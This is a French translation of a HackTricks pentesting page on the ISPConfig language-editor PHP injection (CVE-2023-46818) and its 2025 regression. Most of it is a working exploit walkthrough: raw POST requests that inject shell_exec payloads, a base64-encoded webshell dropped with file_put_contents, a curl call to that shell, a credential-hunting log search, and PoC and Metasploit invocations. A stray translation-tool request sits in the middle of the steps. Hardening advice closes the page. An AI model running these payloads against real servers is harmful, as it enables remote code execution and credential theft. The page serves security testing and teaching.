ISPConfig

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

ISPConfig est un panneau de contrôle d’hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d’éditeur de fichiers de langue qui, lorsqu’elle était activée pour le super administrateur, permettait l’injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la manière dont PHP est exécuté, à une élévation de privilèges.

Principaux chemins par défaut :

  • Web root souvent à /var/www/ispconfig lorsqu’il est servi avec php -S ou via Apache/nginx.
  • L’interface d’administration est accessible sur le vhost HTTP(S) (parfois liée à localhost uniquement ; utilisez SSH port-forward si nécessaire).

Astuce : Si le panneau est lié localement (p.ex. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Éditeur de langue PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

Références : entrée NVD CVE-2023-46818 et lien de l’avis du fournisseur dans la section Références ci-dessous.

Procédure d’exploitation manuelle

  1. Ouvrir/créer un fichier de langue pour obtenir les CSRF tokens

Envoyer un premier POST pour initialiser le formulaire et extraire les champs CSRF à partir de la réponse HTML (csrf_id, csrf_key). Exemple de chemin de requête : /admin/language_edit.php.

  1. Injecter du PHP via records[] et sauvegarder

Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Minimal command-execution probes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Test hors-bande (surveiller ICMP) :

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Écrire des fichiers et déposer un webshell

Utilisez file_put_contents pour créer un fichier sous un chemin accessible via le web (par ex., admin/) :

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Écrivez ensuite un webshell simple en utilisant base64 pour éviter les caractères indésirables dans le corps POST :

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Veuillez coller ici le contenu de src/network-services-pentesting/pentesting-web/ispconfig.md à traduire. Je conserverai exactement le markdown, les balises et les chemins/non-traductions selon vos consignes.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Si PHP est exécuté en root (par ex., via php -S 127.0.0.1:8080 démarré par root), cela entraîne un root RCE immédiat. Sinon, vous obtenez code execution en tant qu’utilisateur du serveur web.

2025 régression (ISPConfig 3.3.0 / 3.3.0p1)

Le bug de l’éditeur de langue a refait surface dans 3.3.0/3.3.0p1 et a été corrigé dans 3.3.0p2. Les préconditions sont inchangées (admin_allow_langedit et admin login). Le même patch a également traité un monitor XSS et des world-readable rotated logs.

Notes:

  • Sur 3.3.0/3.3.0p1, des world-readable rotated logs sous /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Les étapes d’exploitation correspondent à CVE-2023-46818; 3.3.0p2 ajoute des vérifications supplémentaires avant la modification de la langue.

Python PoC

Un exploit prêt à l’emploi automatise la gestion des tokens et la livraison des payloads:

Exemple d’exécution :

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (publié en juillet 2025)

Rapid7 a ajouté exploit/linux/http/ispconfig_lang_edit_php_code_injection, qui peut activer automatiquement admin_allow_langedit si le compte admin fourni a les droits system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Le module écrit un payload encodé en base64 via records[] et l’exécute, donnant un PHP Meterpreter ou un payload personnalisé.

Durcissement

  • Mettre à niveau vers 3.2.11p1 ou version ultérieure pour le problème d’origine, et vers 3.3.0p2 ou version ultérieure pour la régression de 2025.
  • Désactiver l’éditeur de langue sauf si strictement nécessaire:
admin_allow_langedit=no
  • Évitez d’exécuter le panel en tant que root ; configurez PHP-FPM ou le serveur web pour réduire les privilèges
  • Renforcez l’authentification du compte intégré admin

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks